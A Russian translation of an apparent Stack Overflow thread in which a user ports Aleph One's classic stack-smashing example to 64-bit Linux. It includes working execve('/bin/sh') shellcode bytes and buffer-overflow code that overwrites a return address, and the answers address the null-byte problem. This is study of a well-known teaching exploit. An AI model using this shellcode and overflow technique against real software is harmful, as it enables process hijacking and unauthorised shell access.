Экранирование нулевых символов в шеллкоде

Я пытаюсь выполнить overflow1.c из бумаги Smashing the Stack for Fun and Profit от Aleph One.

Исходный код overflow1.c:

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}

Этот код отлично работает в 32-битной системе.

Я изменил код для работы в 64-битной системе:

char shellcode[] = "\x48\x31\xc0"                // xor    %rax,%rax
"\x99"                                       // cltd
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"   // mov $0x68732f6e69622fff,%rdi
"\xb0\x3b"                                   // mov    $0x3b,%al
"\x48\xc1\xef\x08"                           // shr    $0x8,%rdi
"\x57"                                       // push   %rdi
"\x48\x89\xe7"                               // mov    %rsp,%rdi
"\x57"                                       // push   %rdi
"\x52"                                       // push   %rdx
"\x48\x89\xe6"                               // mov    %rsp,%rsi
"\x0f\x05";                                  // syscall

char large_string[144];

int main(void) {
    char buffer[96];
    int i;
    long int *long_ptr = (long int *) large_string;
    printf("0x%x", buffer);
    for (i = 0; i < 18; i++)
        *(long_ptr + i) = (long int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}

Программа загружает только шеллкод, а затем перезаписывает адрес возврата адресом buffer. Код работает как надо.

Однако здесь возникает проблема.

Предположим, что адрес buffer в 64-битной системе равен 0x7fffffffdc10, тогда long int преобразует его в 0x00007fffffffdc10. Когда это записывается в large_string, 00 действует как ноль и завершает строку. Как мне преодолеть это?

Я не могу привести адрес только к целому числу, потому что 64-битные системы имеют 8-байтовые адреса, а не 4-байтовые. Как избежать нулевого символа «0x00»?


person Karthik Balakrishnan    schedule 05.02.2015    source источник
comment
Почему вы неправильно используете void main(), а не правильный int main(void)? (Я понимаю, что вы пытаетесь разбить стек, так что, возможно, есть веская причина.)   -  person Keith Thompson    schedule 08.02.2015
comment
@KeithThompson int main() используется, чтобы вызывающий мог знать, какой был код выхода. Для меня код выхода не важен, потому что адрес возврата изменен и мой код выполняется. Однако int main() все еще можно использовать, и стек все равно будет разбит. Я просто следую коду статьи как можно точнее.   -  person Karthik Balakrishnan    schedule 08.02.2015
comment
int main(void) определяется стандартом C, как и int main(int argc, char *argv[]). void main() может быть разрешено некоторыми компиляторами, но обычно это признак того, что автор не очень хорошо знает язык.   -  person Keith Thompson    schedule 08.02.2015
comment
@KeithThompson — Ну, документ был выпущен в 1996 году. html   -  person Karthik Balakrishnan    schedule 09.02.2015
comment
@KeithThompson — текущий код отредактирован в соответствии со стандартами.   -  person Karthik Balakrishnan    schedule 09.02.2015


Ответы (1)


Ваша big_string не является строкой, это байтовый буфер. Поэтому не используйте на нем строковые функции.

for (i = 0; i < sizeof(shellcode); i++)
    large_string[i] = shellcode[i];
memcpy(buffer,large_string, sizeof(shellcode));

Боковые примечания:

  • Почему вы сначала записываете адрес буфера 18 раз в large_string, а затем перезаписываете large_string?
  • У вас есть шеллкод заданной длины, вы создаете large_string другой длины и, наконец, записываете в буфер другой длины. Например, буфер короче, чем large_string, что может вызвать проблемы. Вы должны сделать это лучше.
person Werner Henze    schedule 05.02.2015
comment
@Cimbali Ваш первый цикл записывается в large_string[0..18*sizeof(long)], ваш второй цикл записывается в large_string[0..sizeof(shellcode)]. Таким образом, вы перезаписываете по крайней мере часть того, что вы записали в large_string в первом цикле. - person Werner Henze; 05.02.2015
comment
Да, не мой, но я думаю, это нужно, чтобы убедиться, что адрес правильно выровнен. Он только перезаписывает размер шеллкода, который должен влезть в buffer - person Cimbali; 05.02.2015
comment
@WernerHenze Я пишу адрес буфера 18 раз, потому что размер large_string составляет 140 байт, а размер адресов на 64-битной машине составляет 8 байт. Таким образом, я могу записать адрес 140/8 = 18 раз в large_string. А что касается вашего второго примечания, я хочу разбить стек, пожалуйста, посмотрите на тег. - person Karthik Balakrishnan; 06.02.2015
comment
@Cimbali - Нет. Memcpy по-прежнему использует принцип strcpy. Он останавливает копирование строки в тот момент, когда она встречает нуль. - person Karthik Balakrishnan; 08.02.2015
comment
@Torcellite Это неправда. memcpy копирует ровно столько байтов, сколько вы говорите (-> третий параметр memcpy). - person Werner Henze; 09.02.2015